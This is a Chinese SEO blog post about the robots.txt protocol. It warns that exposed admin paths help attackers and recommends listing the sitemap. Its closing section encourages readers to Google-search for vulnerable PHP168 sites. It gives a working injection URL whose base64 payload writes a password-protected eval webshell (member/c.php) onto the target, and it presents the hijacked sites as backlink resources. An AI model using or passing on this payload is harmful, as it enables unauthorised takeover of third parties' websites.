現(xiàn)在幾乎所有的搜索引擎蜘蛛程序都能夠識別robots協(xié)議，盡管最近的3B大戰(zhàn)中百度跟360雙方都出現(xiàn)過不遵守robots協(xié)議的情況，但這畢竟只是特例，一般情況下robots協(xié)議還是必須要遵守的。

今天就說一下robots協(xié)議在網(wǎng)站優(yōu)化過程中的重要性。

首先我們要對自己優(yōu)化的網(wǎng)站做一個(gè)robots協(xié)議，一方面是禁止蜘蛛抓取網(wǎng)站的個(gè)人隱私，或者網(wǎng)站敏感目錄等，其實(shí)大家在沒有經(jīng)歷網(wǎng)站被黑之前一般人不會感覺到robots協(xié)議的重要，其實(shí)很多時(shí)候黑客攻擊一個(gè)網(wǎng)站都是從搜索引擎入手的，比如你的網(wǎng)站管理路徑是/admin/而且你沒有在robots協(xié)議中注明禁止蜘蛛抓取的話，那么蜘蛛很有可能就會通過爬行抓取到你的網(wǎng)站管理后臺地址，這樣搜索引擎就會收錄你網(wǎng)站管理地址中對應(yīng)的鏈接。如果你的網(wǎng)站存在漏洞，那么黑客就會借助搜索引擎搜索你的后臺路徑中可能存在漏洞的頁面，這也很容易暴露你網(wǎng)站后臺管理權(quán)限。

其次，我們做網(wǎng)站優(yōu)化時(shí)寫一個(gè)robots協(xié)議文件，在協(xié)議中注明網(wǎng)站地圖索引文件的絕對路徑可以直接通知蜘蛛按照我們編排的索引去抓取網(wǎng)站內(nèi)容，可能實(shí)現(xiàn)更好的網(wǎng)站內(nèi)容收錄。

最后，我們借助很多網(wǎng)站沒有使用robots協(xié)議這一特點(diǎn)，可以通過搜索引擎（尤其是谷歌）查詢到很多高質(zhì)量的外鏈發(fā)布地址，這里我給大家舉一個(gè)例子，著名的開源程序PHP168中就有一個(gè)這樣的漏洞，如果使用這個(gè)開源程序的站長沒有使用robots協(xié)議限制蜘蛛抓取member目錄的話，那么我們通過谷歌查詢“/member/post.php”就能找到很多這樣的網(wǎng)址，然后我們把找到的網(wǎng)址后半截改寫成：

/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML

然后直接在瀏覽器中訪問，就會在目錄下生成一個(gè)member/c.php 密碼為c的文件。這對于我們來說可是絕佳的外鏈資源，哈哈?。?br />

當(dāng)然很多網(wǎng)站都有漏洞，我就不一一列舉了。